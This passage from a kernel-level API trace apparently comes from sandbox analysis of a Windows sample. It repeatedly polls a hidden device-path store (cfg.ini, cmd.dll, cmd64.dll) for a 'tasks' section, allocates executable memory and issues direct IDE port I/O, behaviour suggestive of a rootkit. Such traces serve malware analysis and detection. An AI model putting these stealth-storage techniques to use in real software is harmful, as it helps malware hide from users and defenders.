VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.762] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.762] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0130.762] IdePortDispatch () returned 0x103 [0130.763] KeWaitForMutexObject () returned 0x0 [0130.763] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.763] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.763] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.763] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.763] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.763] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294e360 [0130.763] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.763] KeLeaveCriticalRegion () [0130.763] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.763] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.763] KeEnterCriticalRegion () [0130.763] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.763] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.763] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.763] KeLeaveCriticalRegion () [0130.763] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.763] KeEnterCriticalRegion () [0130.763] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.763] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.763] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.763] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.763] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0130.763] IdePortDispatch () returned 0x103 [0130.763] KeWaitForMutexObject () returned 0x0 [0130.764] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.764] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.764] KeLeaveCriticalRegion () [0130.764] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.764] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.764] KeEnterCriticalRegion () [0130.764] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.764] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034b2000 [0130.764] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.764] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.764] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.764] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0130.764] IdePortDispatch () returned 0x103 [0130.764] KeWaitForMutexObject () returned 0x0 [0130.764] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.764] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.764] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.764] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.764] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0130.764] IdePortDispatch () returned 0x103 [0130.765] KeWaitForMutexObject () returned 0x0 [0130.765] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.765] KeLeaveCriticalRegion () [0130.765] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.765] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.765] KeEnterCriticalRegion () [0130.766] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.766] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.766] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.766] KeLeaveCriticalRegion () [0130.766] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.766] KeEnterCriticalRegion () [0130.766] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.766] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.766] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800294e420, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.766] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.766] KeLeaveCriticalRegion () [0130.766] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.766] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.766] KeEnterCriticalRegion () [0130.766] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.766] ExFreePoolWithTag (P=0xfffffa800294e360, Tag=0x0) [0130.766] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.766] KeLeaveCriticalRegion () [0130.766] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.766] ReleaseMutex (hMutex=0xf0) returned 1 [0130.766] Sleep (dwMilliseconds=0x927c0) [0130.785] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0130.785] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.785] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0130.785] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.785] KeEnterCriticalRegion () [0130.785] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.785] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.785] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.785] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.785] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0130.785] IdePortDispatch () returned 0x103 [0130.785] KeWaitForMutexObject () returned 0x0 [0130.785] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.785] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.785] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.785] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.785] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.785] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294e6b0 [0130.785] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.785] KeLeaveCriticalRegion () [0130.785] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.786] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.786] KeEnterCriticalRegion () [0130.786] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.786] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.786] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.786] KeLeaveCriticalRegion () [0130.786] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.786] KeEnterCriticalRegion () [0130.786] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.786] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.786] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.786] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.786] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0130.786] IdePortDispatch () returned 0x103 [0130.787] KeWaitForMutexObject () returned 0x0 [0130.787] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.787] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.787] KeLeaveCriticalRegion () [0130.787] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.787] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.787] KeEnterCriticalRegion () [0130.787] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.787] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034bb000 [0130.787] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.787] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.787] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.788] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0130.788] IdePortDispatch () returned 0x103 [0130.788] KeWaitForMutexObject () returned 0x0 [0130.788] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.788] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.788] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.788] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.788] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0130.788] IdePortDispatch () returned 0x103 [0130.788] KeWaitForMutexObject () returned 0x0 [0130.788] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.788] KeLeaveCriticalRegion () [0130.788] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.789] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.789] KeEnterCriticalRegion () [0130.789] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.789] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.789] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.789] KeLeaveCriticalRegion () [0130.789] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.789] KeEnterCriticalRegion () [0130.789] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.789] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.789] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800294e420, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.789] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.789] KeLeaveCriticalRegion () [0130.789] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.789] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.789] KeEnterCriticalRegion () [0130.789] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.789] ExFreePoolWithTag (P=0xfffffa800294e6b0, Tag=0x0) [0130.789] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.789] KeLeaveCriticalRegion () [0130.789] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.790] ReleaseMutex (hMutex=0xf0) returned 1 [0130.790] Sleep (dwMilliseconds=0x927c0) [0130.810] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0130.810] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.810] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0130.810] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.810] KeEnterCriticalRegion () [0130.810] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.811] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.811] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.811] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.811] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0130.811] IdePortDispatch () returned 0x103 [0130.811] KeWaitForMutexObject () returned 0x0 [0130.811] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.811] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.811] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.811] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.811] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.811] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294d650 [0130.811] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.811] KeLeaveCriticalRegion () [0130.811] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.811] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.811] KeEnterCriticalRegion () [0130.811] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.811] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.811] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.811] KeLeaveCriticalRegion () [0130.811] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.811] KeEnterCriticalRegion () [0130.811] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.811] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.811] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.811] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.811] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0130.812] IdePortDispatch () returned 0x103 [0130.812] KeWaitForMutexObject () returned 0x0 [0130.812] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.812] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.812] KeLeaveCriticalRegion () [0130.812] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.812] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.812] KeEnterCriticalRegion () [0130.812] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.812] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034c0000 [0130.812] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.812] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.812] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.812] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0130.812] IdePortDispatch () returned 0x103 [0130.812] KeWaitForMutexObject () returned 0x0 [0130.812] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.812] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.812] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.813] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.813] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0130.813] IdePortDispatch () returned 0x103 [0130.813] KeWaitForMutexObject () returned 0x0 [0130.813] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.813] KeLeaveCriticalRegion () [0130.813] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.814] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.814] KeEnterCriticalRegion () [0130.814] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.814] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.814] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.814] KeLeaveCriticalRegion () [0130.814] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.814] KeEnterCriticalRegion () [0130.814] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.814] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.814] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800294e420, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.814] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.814] KeLeaveCriticalRegion () [0130.814] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.814] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.814] KeEnterCriticalRegion () [0130.814] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.814] ExFreePoolWithTag (P=0xfffffa800294d650, Tag=0x0) [0130.814] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.814] KeLeaveCriticalRegion () [0130.814] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.814] ReleaseMutex (hMutex=0xf0) returned 1 [0130.814] Sleep (dwMilliseconds=0x927c0) [0130.834] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0130.834] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.834] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0130.834] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.834] KeEnterCriticalRegion () [0130.834] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.834] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.834] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.834] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.834] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0130.834] IdePortDispatch () returned 0x103 [0130.834] KeWaitForMutexObject () returned 0x0 [0130.834] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.834] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.834] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.834] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.834] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.834] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294ff60 [0130.834] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.834] KeLeaveCriticalRegion () [0130.834] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.835] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.835] KeEnterCriticalRegion () [0130.835] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.835] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.835] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.835] KeLeaveCriticalRegion () [0130.835] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.835] KeEnterCriticalRegion () [0130.835] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.835] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.835] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, 